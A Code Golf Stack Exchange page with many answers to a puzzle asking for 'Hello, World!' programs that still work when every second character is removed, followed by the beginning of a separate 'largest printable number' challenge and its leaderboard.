[Question] [ Write a program that prints "Hello, World!". But also, if you take only the first, third, fifth, etc. characters of your program, the resulting program should still print "Hello, World!". If your program is: ``` abc def ``` It should output "Hello, World!", but so should ``` acdf ``` No solutions with fewer than 2 characters. [Answer] # [Python 3](https://docs.python.org/3/), 61 bytes ``` rant="partisn't" print(("HHeelllloo,, WWoorrlldd!!"""[::2])) ``` [Try it online!](https://tio.run/##K6gsycjPM/7/vygxr8RWqSCxqCSzOE@9RImroCgzr0RDQ8nDIzU1Bwjy83V0FBTCw/Pzi4pyclJSFBWVlJSirayMYjU1//8HAA "Python 3 – Try It Online") Abusing the fact that `print` is a function in Python 3 :) The least partisan solution you'll find here on PPCG. Becomes ``` rn=print rn("Hello, World!"[:]) ``` [Answer] ## [Cardinal](https://www.esolangs.org/wiki/Cardinal), 29 bytes ``` % " H e l l o , W o r l d ! ``` [Try it online!](https://tio.run/##S04sSsnMS8z5/1@VS4nLgyuVKwcI87l0uBS4woF0EZCXwqX4/z8A "Cardinal – Try It Online") Removing every other character removes all the linefeeds, which still results in `Hello, World!`: ``` %"Hello, World! ``` [Try it online!](https://tio.run/##S04sSsnMS8z5/19VySM1JydfRyE8vygnRfH/fwA "Cardinal – Try It Online") The reason this works is that `%` creates four instruction pointers, moving in each of the four cardinal directions. IPs that leave the source code are simply removed. So in the first case, only the south-going IP remains and in the second case, only the east-going IP remains, all the others are simply dropped. In either case, the executed program is then just `"Hello, World!`. The `"` toggles to string mode where each cell is simply printed to STDOUT. We don't need to terminate the string, because leaving the source code still terminates the program. Note that the same idea works in [Beeswax](http://esolangs.org/wiki/Beeswax), using `*` instead of `%` and ``` instead of `"` (this is because Beeswax was largely inspired by Cardinal but uses a hexagonal grid). [Try it online!](https://tio.run/##S0pNLS5PrPj/X4srgcuDK5UrBwjzuXS4uMKBVBGQk8Kl@P8/AA "Beeswax – Try It Online") (vertical) | | [Try it online!](https://tio.run/##S0pNLS5PrPj/XyvBIzUnJ19HITy/KCdF8f9/AA) (horizontal) [Answer] # C, 125 bytes ``` xpxuxtxs( ) { }xuxs ( ) { } main( ) {puts ( "Hello, World!" ) ; } mxaxixn ( ) {xpxuxtxs ( " H e l l o , W o r l d ! " ) ; } ``` [Try it online!](https://tio.run/##NUxbCoAgELzK2FeBnaALdIO@RSOETaMUFqKz29qD/ZjHzoztF2tL4Y0zJz5adDhxiTjwcazGh4dvOVW3GWeiqDHFnZxq5DPUFBv2HN7WP1fTGDGD5CI0gElwF@Wg8HVLuQE) **With even characters removed:** ``` xxxx(){}us(){}mi(){us("el,Wrd");}main(){puts("Hello, World!");} ``` [Try it online!](https://tio.run/##S9ZNT07@/78CCDQ0q2tLi0FkbiaQBDKVUnN0wotSlDSta3MTM/OAggWlJUBhj9ScnHwdhfD8opwURZDs//8A) [Answer] # [Actually](https://github.com/Mego/Seriously), 2 bytes ``` HH ``` Explanation: `H`, as you might expect, pushes `Hello, World!` to the stack. The main program (`HH`) will encounter the first `H` and push `Hello, World!` to the stack. On the second `H`, however, it will try to use two arguments (as the stack needs to be empty to push `Hello, World!`) and fail. However, this error will be ignored and then `Hello, World!` will be implicitly printed. The second program (`H`) will push `Hello, World!` once, and that will be impliclty printed. This is similar to Fatalize's 2-byte answer, but this doesn't really "cheat". [Try it online!](https://tio.run/##S0wuKU3Myan8/9/D4/9/AA "Actually – Try It Online") [Answer] # [Lua](https://www.lua.org), 89 bytes ``` --- [ [ print("Hello, World!") --[[ ] ] pCrAiLnCtU(L"AHTeOlRlFoE,L IWNoEr:lDd !:"D) ---]] ``` [Try it online!](https://tio.run/##yylN/P9fV1dXIVohmqugKDOvREPJIzUnJ19HITy/KCdFUUmTS1c3OlohViGWq8C5yDHTJ8@5JFTDR8nRIyTVPycoxy3fVcdHwTPcL9@1yCrHJUVB0UrJBaRJNzb2/38A "Lua – Try It Online") As the syntax highlighting shows, this is massive comment abuse. Alternate: ``` --[[pit"el,Wrd" -[]]print("Hello, World!")--] ``` [Try it online!](https://tio.run/##yylN/P9fVzc6uiCzRCk1Rye8KEWJSzc6NragKDOvREPJIzUnJ19HITy/KCdFUUlTVzf2/38A "Lua – Try It Online") And for convenience, a program to convert a program into every other character form: [Try it online!](https://tio.run/##LcuxCsMgFEDRPV/x4qQQM7Sb0CEkKSlIC6UlgzgUFCK8qqhLvt620PHCuXEvW/DHWt07hlQg77mJyflCrTenb/W5GOf7ZF@GMiXEQbNaOeegQP0lWSxi6GANCU1LWMO5UqBBN3FMg5N@LE8qybA87A3veA5zJ@GyXsOcBE4GWkGm38S1/gA "Python 3 – Try It Online") [Answer] # [Retina](https://github.com/m-ender/retina), 39 bytes ``` HHeelllloo,, WWoorrlldd!! (.).x? $1 ``` [Try it online!](https://tio.run/##K0otycxL/P@fy8MjNTUHCPLzdXQUFMLD8/OLinJyUlIUFbm4uDT0NPUq7LlUDP//BwA "Retina – Try It Online") Taking every other character gives: ``` Hello, World! ()x 1 ``` [Try it online!](https://tio.run/##K0otycxL/P@fyyM1JydfRyE8vygnRZFLQ7OCy/D/fwA "Retina – Try It Online") The first program creates a string with the greeting duplicated. Then it replaces each pair of characters with the first character. There is also an empty stage that replaces all empty strings with empty strings in between, but that doesn't do anything. The second program fails to match the letter "x" so it doesn't replace anything after creating the greeting. Perhaps more amusingly, if the third stage is changed slightly the first set of characters doesn't have to be the same message. This could lead to many identical length solutions such as [full](https://tio.run/##K0otycxL/P@fy88jMzU5Jz8nJ19BR0HBKTw/P6coMac4RVGRi4tLT0NPs8KeS8Xw/38A) and [halved](https://tio.run/##K0otycxL/P@fyyM1JydfRyE8vygnRZFLT6@Cy/D/fwA). [Answer] # [Charcoal](https://github.com/somebody1234/Charcoal), 25 bytes ``` H→e→l→l→o→,→ →W→o→r→l→d→! ``` [Try it online!](https://tio.run/##S85ILErOT8z5/9/jUdukVCDOgeJ8INYBYgUgDofyi6ByKUCs@P8/AA "Charcoal – Try It Online") If you remove the even characters, you just remove the arrow commands that indicate the direction of the next text, and that leaves the following code: ``` Hello, World! ``` [Try it online!](https://tio.run/##S85ILErOT8z5/98jNScnX0chPL8oJ0Xx/38A "Charcoal – Try It Online") That also prints the greeting. [Answer] # [Haskell](https://www.haskell.org/), 85 bytes ``` {--}main=putStr"Hello, World!"--} m a i n = p u t S t r " H e l l o , W o r l d ! " ``` [Try it online!](https://tio.run/##DYkxCoAwEAS/MqbWJ6S3T5E6YEDxksgZK/Ht8ViWYWf3dJ9ZZIx3Wb6Sjuqvp4eubjXbZmJT2SZnJ4XEQcVz8dAJVsWxkhFLYwaiUW1tTLgxfg "Haskell – Try It Online") Every second character removed: ``` {-mi=uSrHlo ol!-}main=putStr"Hello, World!" ``` [Try it online!](https://tio.run/##y0gszk7Nyfn/v1o3N9O2NLjIIydfIT9HUbc2NzEzz7agtCS4pEjJA6gkX0chPL8oJ0VR6f9/AA "Haskell – Try It Online") This exploits the two comment formats in Haskell: `{- -}` for in-line or multi-line comments and `--` to comment the rest of the line. [Answer] # Javascript, 67 bytes ``` /**/alert`Hello, World`// * / a l e r t ` H e l l o , W o r l d ` ``` Every second letter removed: ``` /*aetHlo ol`/*/alert`Hello, World` ``` Just like many other answers, this exploits comments. [Answer] # [Brachylog](https://github.com/JCumin/Brachylog), 4 bytes ``` Ḥ~wḤ ``` [Try it online!](https://tio.run/##SypKTM6ozMlPN/r//@GOJXXlQOL///8A "Brachylog – Try It Online") ### Explanation `~w` writes its right variable to `STDOUT`, and ignores its left argument. `Ḥ` is `"Hello, World!"`, so this prints `Hello, World!`. If we only take the first and third chars, we get `Ḥw`. In that case `w` writes its left variable and ignores its right variable, so it also prints `Hello, World!`. ### 2 bytes ``` ḤḤ ``` [Try it online!](https://tio.run/##SypKTM6ozMlPN/r//@GOJUD0////KAA) This is technically a valid answer, but this unifies the output variable of the program instead of printing to `STDOUT`, so I guess the 4 bytes program is more in the spirit of the challenge. [Answer] # x86 machine code, 162 bytes [![demo](https://i.stack.imgur.com/JxNEM.png)](https://i.stack.imgur.com/JxNEM.png) **PROG.COM** [Download](https://www.dropbox.com/s/hiwlgivis06mfjz/PROG.COM?dl=1) and run it in **MS-DOS** emulator, [DOSBox](https://en.wikipedia.org/wiki/DOSBox) for example. ``` 90 B3 B4 B4 02 90 90 B3 B2 B2 48 90 90 B3 CD CD 21 90 90 B3 B2 B2 65 90 90 B3 CD CD 21 90 90 B3 B2 B2 6C 90 90 B3 CD CD 21 90 90 B3 CD CD 21 90 90 B3 B2 B2 6F 90 90 B3 CD CD 21 90 90 B3 B2 B2 2C 90 90 B3 CD CD 21 90 90 B3 B2 B2 20 90 90 B3 CD CD 21 90 90 B3 B2 B2 77 90 90 B3 CD CD 21 90 90 B3 B2 B2 6F 90 90 B3 CD CD 21 90 90 B3 B2 B2 72 90 90 B3 CD CD 21 90 90 B3 B2 B2 6C 90 90 B3 CD CD 21 90 90 B3 B2 B2 64 90 90 B3 CD CD 21 90 90 B3 B2 B2 21 90 90 B3 CD CD 21 90 90 B3 CD CD 20 90 ``` after removal **MINI.COM** [Download](https://www.dropbox.com/s/c8sgud72fjxkz5i/MINI.COM?dl=1) ``` 90 B4 02 90 B2 48 90 CD 21 90 B2 65 90 CD 21 90 B2 6C 90 CD 21 90 CD 21 90 B2 6F 90 CD 21 90 B2 2C 90 CD 21 90 B2 20 90 CD 21 90 B2 77 90 CD 21 90 B2 6F 90 CD 21 90 B2 72 90 CD 21 90 B2 6C 90 CD 21 90 B2 64 90 CD 21 90 B2 21 90 CD 21 90 CD 20 ``` ## How to run? Install DOSBox, for Ubuntu/Debian ``` sudo apt install dosbox ``` Run it ``` dosbox ``` **In DOSBOX** ``` mount c /home/user/path/to/your/directory c: PROG.COM MINI.COM ``` ## How does it works? Machine **operation codes** represents **assembly** language **instructions**. In MS-DOS to **print char** you will set registers and make interrupt. AH register will be 0x02, DL register contains your char. Interrupt vector is 0x21. ``` mov ah,0x2 ;AH register to 0x2 (B4 02) mov dl,0x48 ;DL register to "H" (B2 48) int 0x21 ;0x21 interrupt (CD 21) ``` MS-DOS [COM file](https://en.wikipedia.org/wiki/COM_file) tiny model is good choise, because it **doesn't have any headers**. It is limited by 64K, but in our case it doesn't matters. To stop program use 0x20 interrupt ``` int 0x20 ;0x20 interrupt (CD 20) ``` ## Magic If you want to execute **0xAB** opcode command with one parameter **0xCD**, you write ``` AB CD ``` In **PROG.COM** ``` 90 B3 AB AB CD 90 nop ; No operation (90) mov bl,0xb4 ; BL register to AB (B3 AB) AB CD command (AB CD) nop ; No operation (90) ``` In **MINI.COM** ``` 90 AB CD nop ; No operation (90) AB CD command (AB CD) ``` It is **equal** machine codes, if you don't use **BL register**. ## Generator Convert text file with hex to hex binary ``` cat hex_file | xxd -r -p > exec.com ``` ``` function byte2hex(byte){ var ret=byte.toString(16).toUpperCase(); return ret.length==1 ? "0"+ret : ret; } function str2hex(str){ var ret = []; for(var i=0;i<str.length;i++){ ret.push(byte2hex(str.charCodeAt(i))); } return ret; } function genCode(hexArr){ var ret = [["B4","02"]]; for(var i=0;i<hexArr.length;i++){ if(hexArr[i]!=hexArr[i-1]){ ret.push(["B2",hexArr[i]]); } ret.push(["CD","21"]); } ret.push(["CD","20"]); return ret; } function magicCode(str){ var ret=[""]; var code=genCode(str2hex(str)); for(var i=0;i<code.length;i++){ ret.push("90 B3 "+code[i][0]+" "+code[i][0]+" "+code[i][1]+" 90"); if(i%4==3){ret.push("\n");} } return ret.join(" "); } function magicCodeMinified(str){ var ret=[""]; var code=genCode(str2hex(str)); for(var i=0;i<code.length;i++){ ret.push("90 "+code[i][0]+" "+code[i][1]); if(i%8==7){ret.push("\n");} } return ret.join(" "); } var str=prompt("string","Hello, world!"); var out="PROG.COM\n" + magicCode(str)+"\n\nMINI.COM\n"+magicCodeMinified(str); document.write(out.replace("\n","<br>")); alert(out); ``` [Answer] # Haskell, 102 bytes The full program: ``` main= putStr"Hello, World!";; putSt x ="p u t S t r \" H e l l o , W o r l d !\""; mmaaiin = main ``` and with every other character removed: ``` mi=ptt"el,Wrd";ptt x=putStr "Hello, World!";main=mi ``` [Answer] # [Pyth](https://github.com/isaacg1/pyth), 31 bytes ``` p% 2"HHeelllloo,, WWoorrlldd!! ``` [Try it online!](https://tio.run/##K6gsyfj/v0BVwUjJwyM1NQcI8vN1dBQUwsPz84uKcnJSUhQV//8HAA "Pyth – Try It Online") Becomes ``` p "Hello, World! ``` Thanks to @CalculatorFeline for pointing out an error and removing one byte. [Answer] # [V](https://github.com/DJMcMayhem/V), 32 bytes ``` i;H;e;l;l;o;,; ;w;o;r;l;d;!;<esc>;Ó; ``` Note that `<esc>` is a single character, e.g. `0x1b` [Try it online!](https://tio.run/##K/v/P9PawzrVOgcI8611rBWsy4F0EZCXYq1oLW19eLL1//8A "V – Try It Online") Removing every other character gives: ``` iHello, world!<esc>Ó ``` [Try it online!](https://tio.run/##K/v/P9MjNScnX0ehPL8oJ0VR@vDk//8B "V – Try It Online") [Answer] # PHP, 53 bytes ``` # echo date( $e_c_h_o='\H\e\l\l\o\,\ \W\o\r\l\d\! '); ``` With every other character removed: ``` #eh ae echo'Hello, World!'; ``` [Answer] # [Jelly](https://github.com/DennisMitchell/jelly), ~~26~~ 25 bytes ``` ““3ḅaė;œ»ḷ“ 3 ḅ a ė ; œ » ``` [Try it online!](https://tio.run/##y0rNyan8//9RwxwgMn64ozXxyHTro5MP7X64YztQRMFYASimkKhwZLqCtcLRyQqHdv//DwA "Jelly – Try It Online") After removing every second character, we're left with the following code. ``` “3a;»“3ḅaė;œ» ``` [Try it online!](https://tio.run/##y0rNyan8//9RwxzjROtDu0H0wx2tiUemWx@dfGj3//8A "Jelly – Try It Online") ### How it works ``` ““3ḅaė;œ»ḷ“ 3 ḅ a ė ; œ » Main link. ““3ḅaė;œ» Index into Jelly's dictionary to yield ["", "Hello, World!"]. “ 3 ḅ a ė ; œ » Index into Jelly's dictionary to yield. " FullERebitingBEfluffiest adoptable". ḷ Take the left result. ``` ``` “3a;»“3ḅaė;œ» Main link. “3a;» Index into Jelly's dicrionary to yield " N-". Set the argument and the return value to the result. “3ḅaė;œ» Index into Jelly's dicrionary to yield "Hello, World!". Set the return value to the result. ``` [Answer] # [Cubically](https://github.com/aaronryank/cubically) [v2.1](https://github.com/aaronryank/cubically/releases/tag/v2.1), 222 bytes ``` +0503 @@6 :22 //1 +050501 @@6 :55 +0502 @@6@6 :33 //1 +050502 @@6 :55 +03 //1 +04 @@6 :55 //1 +03 @@6 :55 +01 //1 +0504 @@6 :33 //1 +050502 @@6 :55 +01 //1 +050502 @@6 :55 +0502 @@6 :11 //1 +050501 @@6 :55 +01 //1 +03 @@6 ``` [Try it online!](https://tio.run/##Sy5NykxOzMmp/P9f28DUwFjBwcFMwcrISEFf31ABJGJqYAgRMzUF841APBDf2BhJjRGSGpi4CVwMwjdGUmMI1wtVhdM0QxzicJ6hIQ63GiLb@/8/AA) Every other letter: ``` +53@6:2/1+551@6:5+52@66:3/1+552@6:5+3/1+4@6:5/1+3@6:5+1/1+54@6:3/1+552@6:5+1/1+552@6:5+52@6:1/1+551@6:5+1/1+3@6 ``` [Try it online!](https://tio.run/##Sy5NykxOzMmp/P9f29TYwczKSN9Q29TUEMgy1TY1cjAzszIGixiBRUBsExALSBuDRQxBsiAhZGWGSGwwZYhkqiFE7///AA) [Answer] # [Befunge-93](https://github.com/catseye/Befunge-93), ~~43~~ 41 bytes Coming back to this a few years later, I found a way to avoid running those unsupported instructions, meaning this can even be run on implementations that treat those differently. ``` "!!ddllrrooWW ,,oolllleeHH"""> :$# ,#__@ ``` [Try it online!](https://tio.run/##S0pNK81LT/3/X0lRMSUlJ6eoKD8/PFxBQUcnPz8HCFJTPTyUlJTsFKxUlBV0lOPjHf7/BwA "Befunge-93 – Try It Online") Second version ``` "!dlroW ,olleH">:#,_@ ``` is the shortest possible "Hello World!". This therefore is the shortest possible answer to this question for Befunge-93. [Try It Online](https://tio.run/##S0pNK81LT/3/X0kxJacoP1xBJz8nJ9VDyc5KWSfe4f9/AA) [Answer] # [05AB1E](https://github.com/Adriandmen/05AB1E), 29 bytes ``` ”™ ,ï‚‚ï ! ”# ¦2 ä ø¨øJð ý ``` [Try it online!](https://tio.run/##MzBNTDJM/f//UcPcw@uP7ji641HLIgWdw@sfNcwCosPrFRQVgFLKCoeWGSkcXqJweMehFYd3eB3eoHB47///AA "05AB1E (legacy) – Try It Online") **Explanation** ``` ”™ ,ï‚‚ï ! ” # push the string "Weekly Hello , Changed World ! " # # split on spaces # RESULT: ['Weekly','Hello',',','Changed','World','!',''] ¦ # remove the first element (Weekly) 2ä # split in 2 parts # RESULT: [['Hello', ',', 'Changed'], ['World', '!', '']] ø # zip # RESULT: [['Hello', 'World'], [',', '!'], ['Changed', '']] ¨ # remove the last element ø # zip # RESULT: [['Hello', ','], ['World', '!']] J # join each inner list ðý # join on space ``` After removing every other character we are left with the code ``` ”Ÿ™,‚ï!” 2äøøðý ``` [Try it online!](https://tio.run/##MzBNTDJM/f//UcPcozsetSzSedQw6/B6RSBXwejwksM7gHDD4b3//wMA "05AB1E – Try It Online") **Explanation** ``` ”Ÿ™,‚ï!” # push the string "Hello, World!" 2ä # split in 2 parts # RESULT: ['Hello, ', 'World!'] ø # zip, as the string has an odd length the space is lost # RESULT: ['HW', 'eo', 'lr', 'll', 'od', ',!'] ø # zip again # RESULT: ['Hello,', 'World!'] ðý # join on space ``` [Answer] # [///](https://esolangs.org/wiki////), 25 bytes ``` H\e\l\l\o\,\ \W\o\r\l\d\! ``` [Try it online!](https://tio.run/##K85JLM5ILf7/3yMmNSYHCPNjdGIUYsKBdBGQlxKj@P8/AA "/// – Try It Online") With every other character removed: ``` Hello, World! ``` [Answer] # Octave, ~~49~~ 45 bytes Saved 4 bytes since Octave doesn't require brackets to do indexing. ``` 'HHeelllloo,, WWoorrlldd!! ' (1:2 : 3 ^ 3)'' ``` [Try it online!](https://tio.run/##y08uSSxL/f9f3cMjNTUHCPLzdXQUFMLD8/OLinJyUlIUFRXUFTQMrYwUrBSMFeIUjDXV1f//BwA "Octave – Try It Online") And the reduced one: ``` 'Hello, World!'(: )' ``` [Try it online!](https://tio.run/##y08uSSxL/f8/Wt0jNScnX0chPL8oJ0VRPVbDSgEINNX//wcA) ## Explanation: The initial code has the letters in the string duplicated, so that we're left with `Hello, World!` when every second is removed. Some spaces are added to ensure the brackets and apostrophes are kept. The indexing is really `1:2:end`. There are 27 characters, and we can't use `end` or `27` since we must remove a character, so we go with `3 ^ 3` instead. When we remove every third character, the indexing becomes `(:)` (and some additional spaces). `(:)` means *"flatten and turn into a vertical vector"*. So, we need to transpose it, using `'`. We don't need to transpose the string in the original code, but double transposing works, so the first string is transposed twice using `''`, and the second is transposed just once. [Answer] # Mathematica, 62 bytes ``` P0r0i0n0t0@0"0H0e0l0l0o0,0 0W0o0r0l0d0!0"Print@"Hello, World!" ``` It returns `"0H0e0l0l0o0,0 0W0o0r0l0d0!0" Null P0r0i0n0t0[0]`, and prints `Hello, World!` as a side effect. When run as a program (not in the REPL), the return value will not be printed. After removing every other character: ``` Print@"Hello, World!"rn@Hlo ol! ``` It returns `Null ol! rn[Hlo]`, and prints `Hello, World!`. [Answer] # [CJam](https://sourceforge.net/p/cjam), 32 bytes ``` "HHeelllloo,, WWoorrlldd!! "2 % ``` [Try it online!](https://tio.run/##S85KzP3/X8nDIzU1Bwjy83V0FBTCw/Pzi4pyclJSFBUVlIwUVP//BwA "CJam – Try It Online") Taking every other character gives: ``` "Hello, World!" ``` [Try it online!](https://tio.run/##S85KzP3/X8kjNScnX0chPL8oJ0VRSeH/fwA) [Answer] # [Help, WarDoq!](http://esolangs.org/wiki/Help,_WarDoq!), 2 bytes ``` Hi ``` [Try it online!](http://cjam.aditsu.net/#code=l%3AQ%7B%22HhEeLlOoWwRrDd%2C!AaPpQq%22Q%7C%5B%22Hh%22%22ello%22a%5B'%2CL%5DSa%22Ww%22%22orld%22a%5B'!L%5D%5D%3Am*%3A%60%5B%7Briri%2B%7D%7Briri%5E%7D%7Brimp%7D%7Brizmp%7DQ%60Q%7B%5C%2B%7D*%60L%5D%2Ber%3A~N*%7D%3AH~&input=Hi) `H` prints `Hello, World!`, `i` is a no-op. Help, WarDoq! can add two numbers and test for primes, so it is considered as a valid programming language per [this meta post](https://codegolf.meta.stackexchange.com/questions/2028/what-are-programming-languages/2073#2073). [Answer] ## [><>](https://esolangs.org/wiki/Fish), 47 bytes Original: ``` | v~" H e l l o , W o r l d ! " ~o<< ;!!!? l ``` With every second character removed: ``` |v"Hello, World!" o<;!?l ``` Try them online: [original](https://tio.run/##S8sszvj/v0ahrE5JwUMhVSEHCPMVdBQUFMKBdBGQl6KgqKDExVWXb2OjYK2oqGivkPP/PwA), [modified](https://tio.run/##S8sszvj/v6ZMySM1JydfRyE8vygnRVGJK9/GWtE@5/9/AA) The original program pushes the characters of "Hello, World!" to the stack (in reverse order) interspersed with spaces, then alternately prints a character and deletes one until the length of the stack is zero. The second program does the same, except the deletion instructions `~` are gone. If you don't mind halting with an error, we can take a leaf out of Martin Ender's [Cardinal](https://codegolf.stackexchange.com/a/128498/66104) book: the modified code is ``` \"!dlroW ,olleH"!#o# ``` and the original is the same but with newlines inserted between all the characters, for 39 bytes. Try them online: [original](https://tio.run/##S8sszvj/P4ZLiUuRK4Urh6uIK58rnEuBSwdI5wBhKpcHWE4ZyFf@/x8A), [modified](https://tio.run/##S8sszvj/P0ZJMSWnKD9cQSc/JyfVQ0lROV/5/38A). [Answer] # [APL (Dyalog)](https://www.dyalog.com/), ~~35~~ 34 bytes -1 thanks to Martin Ender. ``` '0H0e0l0l0o0,0 0W0o0r0l0d0!0'~ ⍕ 0 ``` [Try it online!](https://tio.run/##SyzI0U2pTMzJT///qKPdMSfnv7qBh0GqQQ4Q5hvoGCgYhAPpIiAvxUDRQF2hTuFR71QFA5BiLiD2T0nhUvdIzcnJ11EIzy/KSVFUr1PXUwdJ/QcaxgWUBwA "APL (Dyalog Unicode) – Try It Online") `'0H0e0l0l0o0,0 0W0o0r0l0d0!0'` the message with zeros as removable filler characters `~` except `⍕` formatted (stringified) `0` number zero Leaving just the odd characters, this becomes `'Hello, World!'` . [Answer] # [,,,](https://github.com/totallyhuman/commata), 34 [bytes](https://github.com/totallyhuman/commata/wiki/Code-page) ``` 2"Hteoltlaol,l yWhourmladn!! "⟛ ``` On removing the even numbered characters... ``` "Hello, World!" ``` ## Explanation With all the characters: ``` 2"..."⟛ no-op 2 push 2 to the stack "..." push "Hteoltlaol,l yWhourmladn!! " to the stack ⟛ pop 2 and the string and push every 2nd character of the string implicit output ``` Without the even numbered characters: ``` "..." no-op "..." push "Hello, World!" to the stack implicit output ``` [Answer] # JavaScript, 138 bytes A lot of people used comments and I found it too easy so here's one entry **without comments**: ``` c_n_o_e_l_g ="c o n s o l e . l o g"; console.log ( "_H_e_l_l_o_,_ _W_o_r_l_d_!".replaceAll( "_","") ) ;[ ' s l i c e ' ]+( 0 , - 9 )+ ")" ``` Taking every other character out: ``` cnoelg=console.log;cnoelg("Hello, World!.elcAl _," ['slice'](0,-9) ) ``` ## Important This code uses [`String.prototype.replaceAll()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replaceAll), which is a fairly recent feature, and thus wont work in older browsers/NodeJS versions (**NodeJS v15.0.0 and above** is required, for example). ## Explanation 1. First it create an alias of `console.log` named `c_n_o_e_l_g` which returns the same as `console.log` when every other character is removed. 2. Then `console.log` is called (being replaced with `cnoelg` when converted). 3. Inside `console.log` there's `"_H_e_l_l_o_,_ _W_o_r_l_d_!"` in which every underscore (`_`) is removed, but not in the converted version (they will be removed anyway because in even position); because of the clever placement of the last double quote (`"`), the string will look like `"Hello, World!.elcAl _,"`. 4. Since `"Hello, World!.elcAl _,"` needs to be cleaned up, a `slice()` is applied with the brackets notations (`[]`), removing the last 9 characters (`".elcAl _,"`). 5. But we don't want any modification to happen to the not converted version, so a `)` closes the `console.log` being removed when converted alongside a `;` (since in even position). Then it will apply correctly to the converted version but nothing will happen to the not converted one, since it's a value not assigned to anything. 6. This consist of `[ ' s l i c e ' ]`, `( 0 , - 9 )` and `")"`, concatenated with a `+` sign (removed during conversion), so that the script stays valid. The last `")"` is there to close the `console.log` in the converted version. [Answer] # Brainfuck, 155 bytes ``` - - < - < < + [ + [ < + > - - - > - > - > - < < < ] > ] < < - - . < + + + + + + . < < - . . < < . < + . > > . > > . < < < . + + + . > > . > > - . < < < + . ``` [Try it online!](https://tio.run/##SypKzMxLK03O/v9fV0FXwQaMbRS0FaLBGMSyU9AFQzskbAOGsUB2LJgFktcDq0ZAPaiMHpQFkdcD6rGDkzZQGZgOhJwuXBYo/v8/AA) Every second character removed: ``` --<-<<+[+[<+>--->->->-<<<]>]<<--.<++++++.<<-..<<.<+.>>.>>.<<<.+++.>>.>>-.<<<+. ``` [Answer] # T-SQL, 75 bytes ``` --- PRINT 'Hello, World!' /* -P-R-I-N-T-'-H-e-l-l-o-,- -W-o-r-l-d-!-' ---*/ ``` Single- and multi-line comment abuse, [inspired by CalculatorFeline's LUA version](https://codegolf.stackexchange.com/a/128511/70172). After removal of all even-numbered characters, some of which are line breaks: ``` --PIT'el,Wrd'/ PRINT'Hello, World!'--/ ``` ]
[Question] [ Your goal is to write a program that prints a number. The bigger the number, the more points you'll get. But be careful! Code length is both limited and heavily weighted in the scoring function. Your printed number will be divided by the **cube of the number of bytes you used for your solution**. So, let's say you printed `10000000` and your code is `100` bytes long. Your final score will be \$\frac {10000000} {100^3} = 10\$. There are other rules to follow, in order to make this challenge a bit harder. * You cannot use digits in your code (0123456789); * You **can** use mathematical/physical/etc. constants, **but** only if they are less than 10. (e.g. You can use \$\pi \approx 3.14\$ but you can't use the **Avogadro constant** \$= 6\times 10^{23}\$) * Recursion is allowed **but** the generated number needs to be finite (so **infinite** is not accepted as a solution. Your program needs to terminate correctly, assuming unbounded time and memory, and generate the requested output); * You cannot use the operations `*` (multiply), `/` (divide), `^` (power) nor any other way to indicate them (e.g. `2 div 2` is not allowed); * Your program **can output more than one number, if you need it to do that**. Only the highest one will count for scoring; * However, you **can** concatenate strings: this means that any sequence of adjacent digits will be considered as a single number; * Your code will be run as-is. This means that the end-user cannot edit any line of code, nor he can input a number or anything else; * Maximum code length is 100 bytes. --- ### Leaderboard 1. [*Steven H.*, Pyth](https://codegolf.stackexchange.com/a/149781) \$\approx f\_{\varphi(1,0,0)+7}(256^{26})\$ 2. [*Simply Beautiful Art*, Ruby](https://codegolf.stackexchange.com/a/149763) \$\approx f\_{\varphi(1,0,0)}(3)\$ 3. [*Peter Taylor*, GolfScript](https://codegolf.stackexchange.com/questions/18028/largest-number-printable/18954#18954) \$\approx f\_{\varepsilon\_0+\omega+1}(17)\$ 4. [*r.e.s.*, GolfScript](https://codegolf.stackexchange.com/a/18920/58880) \$\approx f\_{\epsilon\_0}^9(126)\approx f\_{\epsilon\_0+1}(9)\$ [1] 5. [*Simply Beautiful Art*, Ruby](https://codegolf.stackexchange.com/a/120228/58880) \$\approx f\_{\omega^{\omega2}+1}(126^22^{126})\$ 6. [*eaglgenes101*, Julia](https://codegolf.stackexchange.com/a/146791) \$\approx f\_{\omega^3}(127)\$ 7. [*col6y*, Python 3,](https://codegolf.stackexchange.com/a/18359/2183) \$\approx 127\to126\to\dots\to2\to1\approx f\_{\omega^2}(127)\$ [1][3] 8. [*Toeofdoom*, Haskell,](https://codegolf.stackexchange.com/a/18169/2183) \$\approx a\_{20}(1)\approx f\_{\omega+1}(18)\$ [1] 9. [*Fraxtil*, dc,](https://codegolf.stackexchange.com/a/18153/2183) \$\approx 15\uparrow^{166665}15\$ [3] 10. [*Magenta*, Python,](https://codegolf.stackexchange.com/a/79694/58880) \$\approx\mathrm{ack}(126,126)\approx10\uparrow^{124}129\$ 11. [*Kendall Frey*, ECMAScript 6,](https://codegolf.stackexchange.com/a/18075/2183) \$\approx1000\uparrow^43\$ [1] 12. [*Ilmari Karonen*, GolfScript,](https://codegolf.stackexchange.com/a/18064/2183) \$\approx10\uparrow^310^{377}\$ [1] 13. [*Aiden4*, Rust,](https://codegolf.stackexchange.com/a/214246/58880) \$\approx10\uparrow^3127\$ 14. [*BlackCap*, Haskell,](https://codegolf.stackexchange.com/a/121675/58880) \$\approx10\uparrow\uparrow65503\$ 15. [*recursive*, Python,](https://codegolf.stackexchange.com/a/18092/2183) \$\approx2\uparrow\uparrow11\approx10\uparrow\uparrow8.63297\$ [1][3] 16. [*n.m.*, Haskell,](https://codegolf.stackexchange.com/a/18134/2183) \$\approx2\uparrow\uparrow7\approx10\uparrow\uparrow4.63297\$ [1] 17. [*David Yaw*, C,](https://codegolf.stackexchange.com/a/18060/2183) \$\approx10^{10^{4\times10^{22}}}\approx10\uparrow\uparrow4.11821\$ [2] 18. [*primo*, Perl,](https://codegolf.stackexchange.com/a/18058/2183) \$\approx10^{(12750684161!)^{5\times2^{27}}}\approx10\uparrow\uparrow4.11369\$ 19. [*Art*, C,](https://codegolf.stackexchange.com/a/18196/2183) \$\approx10^{10^{2\times10^6}}\approx10\uparrow\uparrow3.80587\$ 20. [*Robert Sørlie*, x86,](https://codegolf.stackexchange.com/a/18253/2183) \$\approx10^{2^{2^{19}+32}}\approx10\uparrow\uparrow3.71585\$ 21. [*Tobia*, APL,](https://codegolf.stackexchange.com/a/18033/2183) \$\approx10^{10^{353}}\approx10\uparrow\uparrow3.40616\$ 22. [*Darren Stone*, C,](https://codegolf.stackexchange.com/a/18029/2183) \$\approx10^{10^{97.61735}}\approx10\uparrow\uparrow3.29875\$ 23. [*ecksemmess*, C,](https://codegolf.stackexchange.com/a/18049/2183) 